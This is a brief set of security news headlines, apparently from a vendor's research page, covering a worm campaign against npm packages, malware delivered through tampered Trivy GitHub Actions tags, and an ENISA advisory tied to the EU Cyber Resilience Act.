The worm-enabled campaign hit @emilgroup and @teale.io, then used an ICP canister to deliver follow-on payloads.

Research
/Security News
Attackers compromised Trivy GitHub Actions by force-updating tags to deliver malware, exposing CI/CD secrets across affected pipelines.

Security News
ENISA’s new package manager advisory outlines the dependency security practices companies will need to demonstrate as the EU’s Cyber Resilience Act begins enforcing software supply chain requirements.